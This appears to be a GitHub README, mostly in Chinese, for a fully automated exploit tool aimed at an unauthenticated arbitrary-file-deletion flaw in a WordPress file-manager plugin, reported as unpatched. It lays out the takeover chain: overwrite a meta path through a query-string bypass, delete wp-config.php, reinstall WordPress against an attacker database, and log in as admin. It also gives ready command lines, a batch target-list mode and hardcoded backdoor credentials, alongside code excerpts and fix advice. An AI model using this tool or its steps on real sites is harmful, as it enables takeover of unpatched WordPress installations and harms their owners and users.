moritakaaz/CVE-2026-12277
GitHub: moritakaaz/CVE-2026-12277
该项目是针对 WordPress Frontend File Manager 插件未认证任意文件删除到 RCE 漏洞(CVE-2026-12277)的全自动利用工具与 PoC 集合。
Stars: 0 | Forks: 0
# CVE-2026-12277
**Frontend File Manager Plugin (WordPress) <= 23.6 - 未认证任意文件删除到 RCE**
## 摘要
| 字段 | 值 |
|-------|-------|
| CVE | CVE-2026-12277 |
| 插件 | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| 受影响版本 | <= 23.6 |
| 类型 | 未认证任意文件删除 |
| CVSS | 8.7 (高危) |
| CWE | CWE-73 (外部控制文件名或路径) |
| 前置条件 | 启用访客上传模式 |
| 补丁 | 无(截至 2026 年 7 月) |
| 研究员 | Chamseddine Bouzaiene |
## 根本原因
该插件将上传的文件路径存储在 post 元数据 (`wpfm_dir_path`) 中。`wpfm_file_meta_update` AJAX endpoint:
1. **nonce 检查已被注释掉**(`files.php` 的 769-771 行)
2. 注册为 `nopriv`(无需认证即可访问)
3. `unset($_REQUEST['wpfm_dir_path'])` 防御机制可以通过 PHP 的 `request_order` 特性绕过(通过 query string 发送)
当 `wpfm_delete_file` 被调用时,它会从 post meta 中读取 `wpfm_dir_path` 并调用 `unlink()`,且没有任何路径验证。
### 易受攻击的 Endpoints
| AJAX Action | 需要 Nonce | 需要认证 | nopriv |
|-------------|---------------|---------------|--------|
| `wpfm_file_meta_update` | **否**(已注释) | 否 | 是(总是) |
| `wpfm_delete_file` | 是 | 否 | 是(总是) |
| `wpfm_upload_file` | 是 | 否 | 是(如果开启访客上传) |
## 漏洞利用链
```
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
```
## 文件
| 文件 | 描述 |
|------|-------------|
| `exploit.py` | 完整的 Python exploit(检测 → 利用 → 接管) |
| `poc_curl.sh` | Bash/curl PoC (Linux) |
| `poc_curl.ps1` | PowerShell/curl PoC (Windows) |
| `lists.txt` | 目标 URL(每行一个,用于批量模式) |
| `requirements.txt` | Python 依赖项 |
## 用法
### Python Exploit(全自动)
```
# 安装依赖
pip install -r requirements.txt
# 全自动 exploit (自动检测 nonce)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# 仅检测
python exploit.py -u http://target.com --detect-only
# 使用手动 nonce (如果自动检测失败)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# 使用 Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# 自定义 attacker DB 配置
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
```
### 漏洞利用后 - 登录
漏洞利用成功后,登录到 WordPress 后台:
```
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
```
### curl PoC (Bash)
```
bash poc_curl.sh http://target.com
```
### curl PoC (PowerShell)
```
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
```
## 参数
| 参数 | 必需 | 描述 |
|----------|----------|-------------|
| `-u, --url` | 是 | 目标 WordPress URL |
| `-p, --path` | 否 | 服务器上 wp-config.php 的绝对路径 |
| `--nonce` | 否 | AJAX nonce(跳过自动提取) |
| `--dbname` | 否 | 攻击者数据库名(默认:`wp_pwned`) |
| `--dbuser` | 否 | 攻击者数据库用户(默认:`root`) |
| `--dbpass` | 否 | 攻击者数据库密码 |
| `--dbhost` | 否 | 攻击者数据库主机(默认:`localhost`) |
| `--proxy` | 否 | HTTP 代理(例如,`http://127.0.0.1:8080`) |
| `--timeout` | 否 | 请求超时时间(秒)(默认:15) |
| `--detect-only` | 否 | 仅检测漏洞,不进行利用 |
## Nonce 自动提取的工作原理
exploit 会在以下位置自动搜索 `wpfm_ajax_nonce`:
1. 常见页面 slug:`/file-manager/`、`/upload/`、`/files/`、`/file-upload/` 等。
2. 直接访问文件:`/file-manager.php`
3. 在主页上找到的所有内部链接(爬取)
4. WP REST API (`/wp-json/`)
nonce 会作为隐藏的 input 字段出现:
```
```
或者在本地化的 JavaScript 中:
```
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
```
## 路径绕过技术
代码通过执行 `unset($_REQUEST['wpfm_dir_path'])` 来防止直接覆盖。绕过方法如下:
1. **Query string 注入**:通过 URL query 参数发送 `wpfm_dir_path`,同时其他数据通过 POST body 发送。PHP 的 `$_REQUEST` 合并行为允许该值根据 `request_order` 配置继续保留。
2. **在上传流程中预设**:`wpfm_dir_path` meta 是在初始的文件上传 hooks 期间设置的。如果在该阶段进行利用,则无需绕过。
## 已测试环境
| 组件 | 版本 |
|-----------|---------|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| 插件 | Frontend File Manager 23.6 |
| 操作系统 | Windows (XAMPP) / Linux |
| 结果 | **已确认完全接管** |
## 易受攻击的代码参考
### Nonce 已禁用 (`inc/files.php:769-771`)
```
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
```
### 任意 Meta 写入 (`inc/files.php:787-795`)
```
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
```
### 授权绕过 (`inc/files.php:690-693`)
```
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
```
### 未经校验的删除 (`inc/file.class.php:729-753`)
```
function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
```
### 路径解析 (`inc/file.class.php:172-184`)
```
function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
```
## 修复方案
- 取消 `wpfm_file_meta_update` 中 nonce 验证的注释
- 使用 `realpath()` 加前缀检查,对照上传目录验证 `wpfm_dir_path`
- 绝不要在文件删除路径中允许用户可控的输入
- 添加独立于访客上传设置的适当授权检查
## 免责声明
本工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是违法行为。在测试前,请务必获得书面许可。
标签:AI合规, CISA项目, Web报告查看器, WordPress插件, 安全漏洞, 应用安全, 文件删除, 编程工具, 远程代码执行, 逆向工具